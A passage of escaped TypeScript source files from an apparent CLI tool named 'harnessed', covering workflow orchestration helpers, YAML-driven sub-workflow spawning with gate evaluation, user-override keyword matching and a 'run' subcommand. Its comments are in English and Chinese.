sub-shell fallback deferred T3.5.W2.1.`,\n )\n }\n}\n\n/** v3.1.0 / v3.3.0 — Default pause hook: prompt user via stdin to confirm continuation\n * between stages (super-master `/auto --staged` opt-in; v3.3.0 removed legacy\n * `--pause-between-stages` alias). Test DI override via opts.pauseFn。 */\nexport const defaultPauseFn = async (stageName: string): Promise<void> => {\n const readline = await import('node:readline/promises')\n const rl = readline.createInterface({ input: process.stdin, output: process.stdout })\n try {\n await rl.question(\n `\\n[--staged] Stage '${stageName}' complete. Press Enter to continue (Ctrl+C to abort)... `,\n )\n } finally {\n rl.close()\n }\n}\n\n/** v3.2.0 — Default complexity assessment (Phase 0). 1-shot AI judge 需求 size returns\n * 'small' | 'medium' | 'large'. Default impl 保守 — 无 AI 上下文时返回 'medium' (skip prompt\n * path)。真接 AI call 应由 caller (slash cmd impl) override via opts.assessComplexity。 */\nexport const defaultAssessComplexity = async (\n _taskDescription: string,\n): Promise<'small' | 'medium' | 'large'> => {\n // Conservative default — 'medium' bypasses the large-prompt branch.\n // Real AI-driven judge should be injected via opts.assessComplexity by caller.\n return 'medium'\n}\n\n/** v3.2.0 — Default understanding check (Phase 0.5). Prompt user via stdin \"对需求有清晰认知吗?\n * [Y/n]\"。Returns true if user is clear (skip research), false if unclear (spawn research)。 */\nexport const defaultPromptUserUnderstanding = async (\n prompter = defaultPrompter,\n): Promise<boolean> => {\n const answer = await prompter(\n '\\n[Phase 0.5] 对需求有清晰认知吗? [Y/n] (n = 先跑 /research 多源调研): ',\n )\n const a = answer.trim().toLowerCase()\n // Default Y (clear) on empty / 'y' / 'yes' / unknown; only 'n' / 'no' set unclear=true\n return !(a === 'n' || a === 'no')\n}\n\n/** v3.2.0 — readline stdin prompter (DI-friendly, sister defaultPauseFn pattern)。 */\nexport const defaultPrompter = async (question: string): Promise<string> => {\n const readline = await import('node:readline/promises')\n const rl = readline.createInterface({ input: process.stdin, output: process.stdout })\n try {\n return await rl.question(question)\n } finally {\n rl.close()\n }\n}\n\n/** v3.2.0 — /auto super-master pre-flight hook: Phase 0 complexity assessment + Phase 0.5\n * understanding check. Returns updated opts (auto-staged on large+y) + mutates ctx with\n * user_understanding_unclear fact (consumed by research gate)。\n *\n * Returns { proceed: false } when user aborts on large-complexity (n)。 */\nexport async function runAutoPreFlight(\n ctx: Record<string, unknown>,\n opts: MasterRunOpts,\n): Promise<{ proceed: boolean; opts: MasterRunOpts }> {\n const assess = opts.assessComplexity ?? defaultAssessComplexity\n const prompter = opts.prompter ?? defaultPrompter\n const taskDesc = typeof ctx.task_description === 'string' ? ctx.task_description : ''\n\n // Phase 0 — complexity assessment\n const size = await assess(taskDesc)\n console.log(`[/auto Phase 0] Complexity assessment: ${size}`)\n let nextOpts = opts\n if (size === 'large') {\n const a = (\n await prompter(\n '\\n[Phase 0] 需求复杂度较大,全程 auto 可能时间过长 / 上下文超限。建议 `--staged` 模式 (每 stage 完停 review)。是否切换? [Y/n]: ',\n )\n )\n .trim()\n .toLowerCase()\n if (a === 'n' || a === 'no') {\n console.log(\n '\\n[/auto Phase 0] User declined --staged. Aborting auto mode — 建议手动 `/discuss` 启动。',\n )\n return { proceed: false, opts }\n }\n console.log('[/auto Phase 0] Switching to --staged mode.')\n nextOpts = { ...opts, pauseBetweenStages: true }\n }\n\n // Phase 0.5 — understanding check (mandatory prompt even on small/medium)\n const promptUnderstanding = opts.promptUserUnderstanding ?? defaultPromptUserUnderstanding\n const isClear = await promptUnderstanding(prompter)\n ctx.user_understanding_unclear = !isClear\n console.log(\n `[/auto Phase 0.5] user_understanding_unclear=${!isClear} (research will ${isClear ? 'skip' : 'fire'})`,\n )\n\n return { proceed: true, opts: nextOpts }\n}\n\n/** v3.2.0 — Emit transparency block for gate evaluations (RESEARCH-workflows § Area 3).\n * Split from masterOrchestrator.ts core per karpathy ≤200L hard limit. */\nexport function emitGateTransparency(\n masterName: MasterName,\n totalGates: number,\n gateEvalled: GateEvaluation[],\n): void {\n console.log(`[${masterName} master] Evaluating ${totalGates} sub-workflow gates:`)\n for (const g of gateEvalled) {\n const mark = g.passes ? '✓' : '⊘'\n const tail = g.passes\n ? g.clause.gate\n ? ` (${g.clause.gate} == true)`\n : ' (unconditional)'\n : ` skipped — ${g.reason}`\n console.log(` ${mark} ${g.clause.sub}${tail}`)\n }\n}\n\n/** v3.2.0 — Arbitrate fired clauses when >1 (K14 warn-not-halt mitigation per\n * RESEARCH-disciplines § 3.2.3)。Split from masterOrchestrator.ts core per karpathy\n * ≤200L hard limit。 */\nexport async function maybeArbitrate(\n firedClauses: DelegationClauseT[],\n packageRoot: string,\n): Promise<void> {\n if (firedClauses.length <= 1) return\n const firedCaps: FiredCapability[] = firedClauses.map((c) => ({ name: c.sub, tier: c.sub }))\n try {\n await arbitrateBeforeSpawn(firedCaps, packageRoot)\n console.warn(\n `⚠️ multi-capability fires (${firedClauses.length} sub), arbitrating by priority hierarchy ` +\n '(K14 warn-not-halt; v3.0 sub-as-tier placeholder, real cross-tier sort defer v3.x)',\n )\n } catch (e) {\n console.warn(`⚠️ arbitrate failed (${(e as Error).message}) — proceeding default order`)\n }\n}\n\n// Re-export for backward-compat dogfood static-verify (cycle-4-verify.dogfood.test.ts F9\n// reads both files concatenated). Anchor markers kept verbatim in helper functions above.\nexport type { WorkflowSchemaV3T }\n","// masterOrchestrator.ts — T3.5.W0.1 Master Orchestrator Hybrid Option C per RESEARCH-workflows\n// § Area 3:yaml `delegates_to[]` 声明 + engine consume + judgmentResolver pre-resolve gate +\n// sub spawn。4 master 共享 dispatcher (D-13 declarative SoT)。K8: ctx 共享 snapshot(无 re-snapshot)。\n// K14: arbitrate warn-not-halt。Path A default = in-process recursive runWorkflow;Path B\n// fallback = try/catch SDK error → warn (sub-shell exec defer v3.x per K-mitigation)。\n\nimport { readFile } from 'node:fs/promises'\nimport { Value } from '@sinclair/typebox/value'\nimport { parse as parseYaml } from 'yaml'\nimport { resolveJudgmentGate } from './judgmentResolver.js'\nimport {\n type DelegationClauseT,\n WorkflowSchemaV3,\n type WorkflowSchemaV3T,\n} from './schema/workflow.js'\n\nexport type MasterName = 'discuss' | 'plan' | 'task' | 'verify' | 'auto'\n\nexport interface MasterRunResult {\n master: MasterName\n /** Sub names that gate-evaluated to fire (spawned in arbitration-sorted order). */\n fired: string[]\n /** Sub names that gate-evaluated to skip (透明声明 per fallback.yaml 铁律 1). */\n skipped: string[]\n}\n\n/** v3.1.0 / v3.2.0 / v3.3.0 — Opts for runMasterOrchestrator.\n * `pauseBetweenStages` (v3.1.0 introduced as `--pause-between-stages`; renamed to\n * `--staged` in v3.2.0; v3.3.0 cleanup removed the legacy `--pause-between-stages`\n * alias — only `--staged` flag remains).\n * v3.2.0 NEW hooks (super-master `/auto` only, pre-flight before spawn loop):\n * `assessComplexity`: AI 1-shot judge 需求 size (small/medium/large) — large prompts\n * user 切 `--staged` OR abort 建议手动\n * `promptUserUnderstanding`: prompt 对需求有清晰认知吗 — n sets ctx fact\n * `user_understanding_unclear=true` (research gate consumes)\n * `prompter`: low-level stdin prompter DI override (sister pauseFn pattern) */\nexport interface MasterRunOpts {\n pauseBetweenStages?: boolean\n pauseFn?: (stageName: string) => Promise<void>\n /** v3.2.0 — AI 1-shot complexity judge for /auto Phase 0 gate. */\n assessComplexity?: (taskDescription: string) => Promise<'small' | 'medium' | 'large'>\n /** v3.2.0 — Phase 0.5 understanding check (returns true if user is clear). */\n promptUserUnderstanding?: (prompter: (q: string) => Promise<string>) => Promise<boolean>\n /** v3.2.0 — low-level stdin prompter DI override. */\n prompter?: (question: string) => Promise<string>\n}\n\nexport interface GateEvaluation {\n clause: DelegationClauseT\n passes: boolean\n reason?: string\n}\n\n/** Spawn driver — Path A (in-process SDK recursive) with Path B (sub-shell) fallback.\n * T3.5.W2.1 dogfood LOCK 决策延后;两路径都实现 + default Path A。 */\nexport type SpawnDriver = (\n masterName: MasterName,\n subName: string,\n context: Record<string, unknown>,\n packageRoot: string,\n) => Promise<void>\n\nimport {\n defaultPauseFn,\n defaultSpawnDriver,\n emitGateTransparency,\n maybeArbitrate,\n resolveMasterYamlPath,\n runAutoPreFlight,\n} from './masterOrchestrator-helpers.js'\n\n/** Run a master orchestrator yaml — load `workflows/<masterName>/auto/workflow.yaml`,\n * evaluate delegates_to[] gates,split serial/parallel,arbitrate(K14 warn-not-halt),\n * spawn sub(Path A default),emit Transparency block。\n *\n * K8:engine 共享 1 context snapshot — `context` arg passed unchanged 到 sub spawn。 */\nexport async function runMasterOrchestrator(\n masterName: MasterName,\n context: Record<string, unknown>,\n packageRoot: string,\n spawnDriver: SpawnDriver = defaultSpawnDriver,\n opts: MasterRunOpts = {},\n): Promise<MasterRunResult> {\n // v3.1.0 — super-master `/auto` 走 top-level standalone `workflows/auto/workflow.yaml`\n // (sister research/retro layout); 4 stage-master 仍 走 `workflows/<name>/auto/workflow.yaml`。\n const yamlPath = resolveMasterYamlPath(masterName, packageRoot)\n const raw = await readFile(yamlPath, 'utf8')\n const parsed = parseYaml(raw) as unknown\n if (!Value.Check(WorkflowSchemaV3, parsed)) {\n const errors = [...Value.Errors(WorkflowSchemaV3, parsed)]\n .slice(0, 3)\n .map((e) => `${e.path} ${e.message}`)\n .join('; ')\n throw new Error(`Invalid master workflow.yaml at ${yamlPath}: ${errors}`)\n }\n const master = parsed as WorkflowSchemaV3T\n if (!master.delegates_to || master.delegates_to.length === 0) {\n throw new Error(`Master workflow ${masterName} missing delegates_to`)\n }\n\n // v3.2.0 — /auto super-master pre-flight (Phase 0 complexity + Phase 0.5 understanding)。\n // Hooks set ctx fact `user_understanding_unclear` consumed by research gate; large\n // complexity → auto-switch to --staged OR abort (user-elected manual /discuss path)。\n // Pre-flight 仅当 assessComplexity OR prompter OR promptUserUnderstanding 任一显式传入\n // 才激活 — 保护 sister v3.1.0 fixture (无 hooks) backward-compat (避免 readline 阻塞)。\n let effectiveOpts = opts\n const preflightActive =\n masterName === 'auto' &&\n (opts.assessComplexity !== undefined ||\n opts.prompter !== undefined ||\n opts.promptUserUnderstanding !== undefined)\n if (preflightActive) {\n const pre = await runAutoPreFlight(context, opts)\n if (!pre.proceed) {\n console.log(`[${masterName} master] Aborted by user (complexity gate decline).`)\n return { master: masterName, fired: [], skipped: master.delegates_to.map((c) => c.sub) }\n }\n effectiveOpts = pre.opts\n }\n\n // Phase 1: gate eval per delegation clause(unconditional fire 当 clause.gate undefined)\n const gateEvalled: GateEvaluation[] = []\n for (const clause of master.delegates_to) {\n if (!clause.gate) {\n gateEvalled.push({ clause, passes: true })\n continue\n }\n try {\n const passes = await resolveJudgmentGate(clause.gate, context, packageRoot)\n gateEvalled.push({\n clause,\n passes,\n reason: passes ? undefined : `gate ${clause.gate} = false`,\n })\n } catch (e) {\n gateEvalled.push({\n clause,\n passes: false,\n reason: `gate eval error: ${(e as Error).message}`,\n })\n }\n }\n\n // Transparency block + Phase 2 split + Phase 2.5 arbitrate (helpers split per karpathy ≤200L)\n emitGateTransparency(masterName, master.delegates_to.length, gateEvalled)\n const PARALLEL_MID_ANCHOR = 50\n const firedClauses = gateEvalled.filter((g) => g.passes).map((g) => g.clause)\n const serialLeading = firedClauses\n .filter((c) => c.mode === 'serial' && (c.order ?? 0) < PARALLEL_MID_ANCHOR)\n .sort((a, b) => (a.order ?? 0) - (b.order ?? 0))\n const serialTrailing = firedClauses\n .filter((c) => c.mode === 'serial' && (c.order ?? 0) >= PARALLEL_MID_ANCHOR)\n .sort((a, b) => (a.order ?? 0) - (b.order ?? 0))\n const parallelClauses = firedClauses.filter((c) => (c.mode ?? 'parallel') === 'parallel')\n const serialN = serialLeading.length + serialTrailing.length\n const parallelN = parallelClauses.length\n await maybeArbitrate(firedClauses, packageRoot)\n\n // Phase 3: spawn leading serial → parallel fan-out → trailing serial (yaml order intent)。\n const modeLabel =\n serialN > 0 && parallelN > 0 ? 'serial+parallel' : serialN > 0 ? 'serial' : 'parallel'\n console.log(`Firing ${firedClauses.length} sub in ${modeLabel}:`)\n const fired: string[] = []\n // v3.1.0 / v3.2.0 / v3.3.0 — staged opt-in (super-master `/auto` UX, `--staged` flag only).\n // pauseFn defaults to readline stdin prompt at runtime (test DI override via opts.pauseFn)。\n // effectiveOpts may have auto-flipped pauseBetweenStages=true via pre-flight large complexity。\n const pauseHook = effectiveOpts.pauseBetweenStages\n ? (effectiveOpts.pauseFn ?? defaultPauseFn)\n : undefined\n for (const clause of serialLeading) {\n console.log(` → ${clause.sub} (serial order=${clause.order ?? 0})`)\n await spawnDriver(masterName, clause.sub, context, packageRoot)\n fired.push(clause.sub)\n if (pauseHook) await pauseHook(clause.sub)\n }\n const parallelResults = await Promise.allSettled(\n parallelClauses.map(async (clause) => {\n console.log(` → ${clause.sub} (parallel)`)\n await spawnDriver(masterName, clause.sub, context, packageRoot)\n return clause.sub\n }),\n )\n for (const r of parallelResults) {\n if (r.status === 'fulfilled') fired.push(r.value)\n }\n for (const clause of serialTrailing) {\n console.log(` → ${clause.sub} (serial order=${clause.order ?? 0})`)\n await spawnDriver(masterName, clause.sub, context, packageRoot)\n fired.push(clause.sub)\n if (pauseHook) await pauseHook(clause.sub)\n }\n\n // Phase 5: skipped — 透明声明 sister fallback.yaml 铁律 1\n const skipped = gateEvalled.filter((g) => !g.passes).map((g) => g.clause.sub)\n console.log(`[${masterName} master] Complete: ${fired.length} fired, ${skipped.length} skipped.`)\n\n return { master: masterName, fired, skipped }\n}\n","// v1.0.1 T1.1 — Single SoT for package root resolution.\n//\n// IMPL NOTE: Resolves package root via import.meta.url → up two levels from\n// dist/cli.mjs → package root. Bundler-safe: tsup ESM build preserves\n// import.meta.url. Fixes global-install consumers using process.cwd() which\n// points to the user's project dir, not the harnessed package dir.\n\nimport { dirname, resolve } from 'node:path'\nimport { fileURLToPath } from 'node:url'\n\n/**\n * Returns the absolute path to the harnessed package root directory.\n * Works for both global installs (npm install -g) and local dev (ts-node / vitest).\n */\nexport function getPackageRoot(): string {\n // import.meta.url → file:///.../dist/cli.mjs (or src/cli/lib/packagePath.ts in test)\n // Go up: dist/cli.mjs → dist/ → package root (2 levels)\n // src/cli/lib/packagePath.ts → src/cli/lib/ → src/cli/ → src/ → package root (3 levels in source)\n // We detect which context we're in by checking for the 'dist' segment.\n const thisFile = fileURLToPath(import.meta.url)\n const thisDir = dirname(thisFile)\n // In dist: thisDir = <root>/dist → up 1\n // In src: thisDir = <root>/src/cli/lib → up 3\n if (thisDir.endsWith('dist') || thisDir.replace(/\\\\/g, '/').endsWith('/dist')) {\n return resolve(thisDir, '..')\n }\n // Source / test context — go up 3\n return resolve(thisDir, '..', '..', '..')\n}\n","// src/cli/lib/extract-user-overrides.ts — v3.6.0 Phase 3 Wave 2\n// (P0b 上半 CLI integration).\n//\n// Loads workflows/judgments/user-overrides.yaml (sister Wave 1 schema) and\n// extracts matched trigger gate refs from user task description via\n// case-insensitive substring match. Consumed by src/cli/run.ts:\n// const overrides = await loadUserOverrides(packageRoot)\n// const matched = extractMatchedTriggers(task, overrides)\n// if (matched.length > 0) gateContext.user_overrides = matched\n//\n// Match algorithm: for each override entry, if ANY keyword is a substring\n// (case-insensitive) of userText → include ALL of entry.triggers[] in result.\n// Multiple entries can match the same userText → triggers union deduped.\n//\n// Fail-soft per ADR 0029: missing yaml / parse error / schema invalid → empty\n// array (extract returns []). CLI emits no stderr — silent no-op preserves\n// existing behavior for users who don't use override keywords.\n\nimport { readFile } from 'node:fs/promises'\nimport { resolve } from 'node:path'\nimport { Value } from '@sinclair/typebox/value'\nimport { parse as parseYaml } from 'yaml'\nimport { UserOverridesFile, type UserOverridesFileT } from '../../workflow/schema/judgment.js'\n\nexport interface UserOverrideEntry {\n id: string\n keywords: string[]\n triggers: string[]\n}\n\n/** Load + validate workflows/judgments/user-overrides.yaml. Fail-soft per\n * ADR 0029: any error (missing file / parse fail / schema reject) → []. */\nexport async function loadUserOverrides(packageRoot: string): Promise<UserOverrideEntry[]> {\n const yamlPath = resolve(packageRoot, 'workflows', 'judgments', 'user-overrides.yaml')\n let raw: string\n try {\n raw = await readFile(yamlPath, 'utf8')\n } catch {\n return []\n }\n let parsed: unknown\n try {\n parsed = parseYaml(raw)\n } catch {\n return []\n }\n if (!Value.Check(UserOverridesFile, parsed)) {\n return []\n }\n const valid = parsed as UserOverridesFileT\n return valid.overrides.map((o) => ({\n id: o.id,\n keywords: [...o.keywords],\n triggers: [...o.triggers],\n }))\n}\n\n/** Case-insensitive substring match — for each override entry, if ANY keyword\n * is a substring of userText (after lowercasing both sides) → include ALL of\n * entry.triggers[]. Result is deduped union of all matched triggers.\n *\n * Empty userText → empty result (no-op, preserves existing behavior).\n * Empty overrides → empty result. */\nexport function extractMatchedTriggers(userText: string, overrides: UserOverrideEntry[]): string[] {\n if (!userText || overrides.length === 0) return []\n const haystack = userText.toLowerCase()\n const matched = new Set<string>()\n for (const entry of overrides) {\n for (const kw of entry.keywords) {\n if (haystack.includes(kw.toLowerCase())) {\n for (const trigger of entry.triggers) matched.add(trigger)\n break // one keyword hit → all triggers added, no need to check siblings\n }\n }\n }\n return [...matched]\n}\n","// src/cli/run.ts — v3.4.4 Phase 1 α CLI wire\n//\n// Wires src/workflow/run.ts (the 4 master + 24 sub workflow runtime) into a\n// real subcommand so `~/.claude/commands/<name>.md` can invoke it via Bash.\n// Replaces the v3.4.3 dual-path body (SlashCommand vapor + Task-spawn fallback\n// that bypassed disciplines + judgments + master orchestration).\n//\n// Phase 1 keeps _dispatchSkillStub.fn from src/workflow/run.ts — actual SDK\n// spawn lands in Phase 2 (extract src/routing/lib/sdkSpawn.ts → src/workflow/\n// lib/sdkSpawn.ts). `--dry-run` here means \"validate the yaml + walk the\n// workflow runtime + exit 0 without invoking the stub\" so users can verify\n// wiring before Phase 2 lands.\n//\n// Phase v3.4.4 (Phase 5) — real getNextHint implementation: reads\n// workflows/auto/workflow.yaml delegates_to[] (lazy module-level cache),\n// resolves direct + parent-stage fallback per D-1 Option C, fail-soft per\n// ADR 0029 (stderr warn + null on yaml read/parse error).\n\nimport { existsSync } from 'node:fs'\nimport { readdir, stat } from 'node:fs/promises'\nimport { join } from 'node:path'\nimport type { Command } from 'commander'\nimport * as loadPhasesMod from '../workflow/loadPhases.js'\nimport { runWorkflow } from '../workflow/run.js'\nimport { extractMatchedTriggers, loadUserOverrides } from './lib/extract-user-overrides.js'\nimport { getPackageRoot } from './lib/packagePath.js'\n\ninterface RawOpts {\n task?: string\n taskStdin?: boolean\n maxIterations?: number\n model?: 'haiku' | 'sonnet' | 'opus'\n dryRun?: boolean\n staged?: boolean\n list?: boolean\n}\n\nconst PACKAGE_ROOT = getPackageRoot()\nconst WORKFLOWS_DIR = join(PACKAGE_ROOT, 'workflows')\n\n/** Phase 5 — module-level lazy cache for the 6-stage chain extracted from\n * workflows/auto/workflow.yaml delegates_to[]. Loaded ONCE per process at\n * first getNextHint call; `harnessed run` exits after each invocation so\n * per-process cache lifetime is correct (no invalidation needed). null = not\n * yet loaded; empty array [] = load attempted but failed (fail-soft —\n * don't retry). */\nlet _autoChainCache: string[] | null = null\nlet _autoChainLoadFailed = false\n\nexport function registerRun(program: Command): void {\n program\n .command('run')\n .description(\n 'Run a harnessed workflow (master orchestrator or sub-workflow). Slash commands invoke via this subcommand.',\n )\n .argument('[name]', 'workflow name (e.g. discuss, verify-paranoid, research, auto)')\n .option('--task <text>', 'task description (passed as workflow gateContext.task)')\n .option('--task-stdin', 'read task description from stdin until EOF (avoids shell-escape)')\n .option(\n '--max-iterations <n>',\n 'ralph-loop max iter (default 20; honored Phase 3 onward)',\n (v) => parseInt(v, 10),\n )\n .option('--model <model>', \"subagent model: 'haiku' | 'sonnet' | 'opus'\")\n .option(\n '--dry-run',\n 'validate yaml load + walk runtime without spawning (Phase 1 default for verification)',\n )\n .option('--staged', '/auto super-master: pause between stages for user review')\n .option('--list', 'print all known workflow names and exit')\n .action(async (name: string | undefined, raw: RawOpts) => {\n if (raw.list) {\n const names = await listWorkflowNames(WORKFLOWS_DIR)\n for (const n of names) console.log(n)\n process.exit(0)\n }\n if (!name) {\n console.error('error: workflow name required (or pass --list to enumerate)')\n process.exit(2)\n }\n\n // Resolve task input — flag > stdin > empty\n let task = ''\n if (typeof raw.task === 'string') {\n task = raw.task\n } else if (raw.taskStdin) {\n task = await readStdinToEnd()\n }\n\n // Resolve workflow yaml path — 3-tier lookup matches workflows/ layout\n const yamlPath = await resolveWorkflowYaml(name, WORKFLOWS_DIR)\n if (!yamlPath) {\n console.error(\n `error: workflow '${name}' not found under workflows/. Run \\`harnessed run --list\\` to enumerate.`,\n )\n process.exit(2)\n }\n\n // v3.6.0 Phase 3 Wave 2 — user-override keyword extraction (P0b 上半).\n // Substring match against workflows/judgments/user-overrides.yaml keywords[].\n // Matched trigger gate refs injected into gateContext.user_overrides[]\n // → judgmentResolver bypass (Wave 1 src/workflow/judgmentResolver.ts) →\n // gate fires=true regardless of expr eval. Fail-soft per ADR 0029:\n // loadUserOverrides returns [] on any error; extract returns [] on no\n // matches → no stderr emit, preserves existing behavior.\n const overrides = await loadUserOverrides(PACKAGE_ROOT)\n const matchedTriggers = extractMatchedTriggers(task, overrides)\n if (matchedTriggers.length > 0) {\n console.error(\n `ℹ user-override detected: ${matchedTriggers.length} trigger(s) ` +\n `forced fires=true via keyword match (${matchedTriggers.join(', ')})`,\n )\n }\n\n const gateContext: Record<string, unknown> = {\n task,\n ...(raw.model ? { modelOverride: raw.model } : {}),\n ...(raw.maxIterations ? { maxIterations: raw.maxIterations } : {}),\n ...(raw.staged ? { staged: true } : {}),\n ...(matchedTriggers.length > 0 ? { user_overrides: matchedTriggers } : {}),\n }\n\n if (raw.dryRun) {\n console.log(JSON.stringify({ workflow: name, yamlPath, gateContext }, null, 2))\n process.exit(0)\n }\n\n let result: Awaited<ReturnType<typeof runWorkflow>>\n try {\n result = await runWorkflow(yamlPath, {}, { packageRoot: PACKAGE_ROOT, gateContext })\n } catch (err) {\n console.error(`error: workflow runtime failed — ${(err as Error).message}`)\n process.exit(1)\n return\n }\n // Print stage-complete + Next: hint (Phase 1 stub; Phase 5 real impl).\n // Kept OUTSIDE the try/catch so a test harness that mocks `process.exit`\n // to throw doesn't trip the runtime-failed branch (process.exit normally\n // terminates; only in tests does it surface as a throwable).\n const hint = await getNextHint(name)\n process.stderr.write(`[stage ${name} ${result.status}]\\n`)\n if (hint) {\n process.stderr.write(`Next stage: harnessed run ${hint}\\n(In Claude Code: /${hint})\\n`)\n }\n process.exit(result.status === 'failed' ? 1 : 0)\n })\n}\n\n/** 3-tier lookup matches workflows/ layout:\n * 1. workflows/<name>/workflow.yaml (research, retro, auto top-level)\n * 2. workflows/<name>/auto/workflow.yaml (4 stage-masters: discuss/plan/task/verify)\n * 3. workflows/<stage>/<sub>/workflow.yaml (24 subs; <name> = '<stage>-<sub>' OR '<sub>')\n *\n * Sub names by convention flatten to `<stage>-<sub>` (e.g. 'verify-paranoid'\n * → workflows/verify/paranoid/workflow.yaml). Split on the FIRST dash to\n * derive (stage, sub). If `<name>` has no dash, only tiers 1 + 2 apply.\n */\nexport async function resolveWorkflowYaml(\n name: string,\n workflowsDir: string,\n): Promise<string | null> {\n // Tier 1: top-level standalone\n const tier1 = join(workflowsDir, name, 'workflow.yaml')\n if (existsSync(tier1)) return tier1\n // Tier 2: stage-master auto\n const tier2 = join(workflowsDir, name, 'auto', 'workflow.yaml')\n if (existsSync(tier2)) return tier2\n // Tier 3: split on first dash\n const dashIdx = name.indexOf('-')\n if (dashIdx > 0) {\n const stage = name.slice(0, dashIdx)\n const sub = name.slice(dashIdx + 1)\n const tier3 = join(workflowsDir, stage, sub, 'workflow.yaml')\n if (existsSync(tier3)) return tier3\n }\n return null\n}\n\nexport async function listWorkflowNames(workflowsDir: string): Promise<string[]> {\n const names: string[] = []\n const entries = await readdir(workflowsDir)\n for (const e of entries.sort()) {\n const p = join(workflowsDir, e)\n const s = await stat(p).catch(() => null)\n if (!s?.isDirectory()) continue\n // Tier 1: top-level workflow.yaml\n if (await fileExists(join(p, 'workflow.yaml'))) {\n names.push(e)\n continue\n }\n // Tier 2: stage with auto/workflow.yaml → list `<stage>` + subs\n if (await fileExists(join(p, 'auto', 'workflow.yaml'))) {\n names.push(e)\n const subs = await readdir(p).catch(() => [])\n for (const sub of subs.sort()) {\n if (sub === 'auto') continue\n if (await fileExists(join(p, sub, 'workflow.yaml'))) {\n names.push(`${e}-${sub}`)\n }\n }\n }\n }\n return names\n}\n\nasync function fileExists(path: string): Promise<boolean> {\n return stat(path)\n .then(() => true)\n .catch(() => false)\n}\n\nasync function readStdinToEnd(): Promise<string> {\n const chunks: Buffer[] = []\n for await (const chunk of process.stdin) {\n chunks.push(Buffer.isBuffer(chunk) ? chunk : Buffer.from(chunk))\n }\n return Buffer.concat(chunks).toString('utf8').trim()\n}\n\n/** Phase 5 — load workflows/auto/workflow.yaml delegates_to[] sorted by\n * `order`, return the 6-stage chain as a string[]. Lazy cached at module\n * level. Fail-soft per ADR 0029: read/parse error → set\n * _autoChainLoadFailed + emit 1-line stderr warn + return []. */\nfunction loadAutoChain(): string[] {\n if (_autoChainCache !== null) return _autoChainCache\n if (_autoChainLoadFailed) return []\n try {\n const yamlPath = join(WORKFLOWS_DIR, 'auto', 'workflow.yaml')\n const parsed = loadPhasesMod.loadPhases(yamlPath)\n const delegates =\n 'delegates_to' in parsed && Array.isArray(parsed.delegates_to) ? parsed.delegates_to : []\n const sorted = [...delegates].sort((a, b) => {\n const ao = typeof a.order === 'number' ? a.order : Number.MAX_SAFE_INTEGER\n const bo = typeof b.order === 'number' ? b.order : Number.MAX_SAFE_INTEGER\n return ao - bo\n })\n _autoChainCache = sorted.map((d) => d.sub).filter((s): s is string => typeof s === 'string')\n return _autoChainCache\n } catch (err) {\n _autoChainLoadFailed = true\n process.stderr.write(`⚠️ getNextHint failed (${(err as Error).message}); skipping hint.\\n`)\n return []\n }\n}\n\n/** Phase 5 — return the next stage name in the 6-stage auto chain for the\n * passed workflowName. Resolution chain (D-1 Option C):\n * 1. Direct: `workflowName` ∈ chain → return next-in-order (or null if last).\n * 2. Parent-stage fallback: split on FIRST dash → parent stage (e.g.\n * 'verify-paranoid' → 'verify') → if parent in chain, return\n * next-after-parent (or null if parent is last).\n * 3. 'auto' super-master OR unresolvable → null (whole chain runs / no hint).\n *\n * Cache: loadAutoChain() is lazy (1 load per process). Fail-soft per ADR 0029. */\nexport async function getNextHint(workflowName: string): Promise<string | null> {\n if (workflowName === 'auto') return null\n const chain = loadAutoChain()\n if (chain.length === 0) return null // load failed or empty delegates\n // Direct lookup\n const directIdx = chain.indexOf(workflowName)\n if (directIdx >= 0) {\n return directIdx + 1 < chain.length ? (chain[directIdx + 1] ?? null) : null\n }\n // Parent-stage fallback (D-1 Option C): split on FIRST dash\n const dashIdx = workflowName.indexOf('-')\n if (dashIdx > 0) {\n const parentStage = workflowName.slice(0, dashIdx)\n const parentIdx = chain.indexOf(parentStage)\n if (parentIdx >= 0) {\n return parentIdx + 1 < chain.length ? (chain[parentIdx + 1] ?? null) : null\n }\n }\n return null\n}\n\n/** Phase 5 — test hook: reset module cache so unit tests can verify lazy-load\n * + fail-soft + re-load paths in isolation. NOT for production use. */\nexport function _resetAutoChainCache(): void {\n _autoChainCache = null\n _autoChainLoadFailed = false\n}\n","// Phase 2.2 T5.1 — `harnessed execute-task --task <text>` independent subcommand.\n//\n// IMPL NOTE — B-10 + B-28 + PATTERNS § 2.1 (Register block).\n// Sister to src/cli/research.ts L16-92 — same H1 gate (sibling install-base.ts L51-56),\n// same 3-state exit code mapping (0 ok / 1 fail / 2 usage).\n//\n// v3.4.4 (Phase 4 Commit 4) — REFACTORED: execute-task subcommand is now a thin\n// alias to `runWorkflow` (src/workflow/run.ts) targeting the v3\n// workflows/execute-task/workflow.yaml (landed Commit 1 — sister\n// `40e76fd`). Subcommand surface unchanged (--task / --dry-run /\n// --non-interactive / --model / --model-tier / --max-iterations /\n// --workflow + H1 gate + K5 before-commit hook + exit-code semantics 0/1/2)\n// → zero user-visible regression.\n//\n// Pre-Phase-4 body called `loadPhases(v2 phases.yaml)` + `runRouting(taskCtx)`.\n// Phase 6 will delete src/routing/ + the v2 `workflows/execute-task/phases.yaml`\n// alongside src/routing-engine/. The v2 yaml stays put through Phase 5 per\n// D-2 Path A1 (HANDOFF L745).\n//\n// Phase v3.0-3.5 W0 T3.5.W0.4 — before-commit hook wire (K5 Option A enforcement):\n// apply path pre-flight `runBeforeCommitHook` enforce biome auto-fix on TS/JS work\n// tree changes BEFORE workflow runtime dispatch。subagent SDK 内部 git commit 时\n// work tree 已 biome-clean。User 主 session git commit 不走此 path(clean separation\n// per K5 Option A;主 session 用户自负 biome-preempt 责任)。\n// dry-run path NOT triggered(K5 Option A 仅 真 spawn 路径 enforce)。\n//\n// This pre-flight K5 Option A block (cwd-wide `git status --porcelain` enforce)\n// coexists with src/workflow/run.ts:316-331 per-phase `triggers_commit`-gated\n// enforcement (both layers preserved per spec D-3 verification #3).\n//\n// v3.3.0 cleanup — `--apply` backward-compat alias removed (was no-op since v3.0.1)。\n//\n// Exit codes:\n// 0 → ok (workflow runtime completed successfully)\n// 1 → workflow runtime failed (status === 'failed' or thrown)\n// 2 → usage error (missing --task / yaml not found)\n\nimport { execSync } from 'node:child_process'\nimport { join } from 'node:path'\nimport type { Command } from 'commander'\nimport { runBeforeCommitHook } from '../discipline/enforcement/before-commit.js'\nimport { t } from '../i18n/index.js'\nimport { runWorkflow } from '../workflow/run.js'\nimport { getPackageRoot } from './lib/packagePath.js'\nimport { validateNonInteractiveFlags } from './lib/validateFlags.js'\nimport { resolveWorkflowYaml } 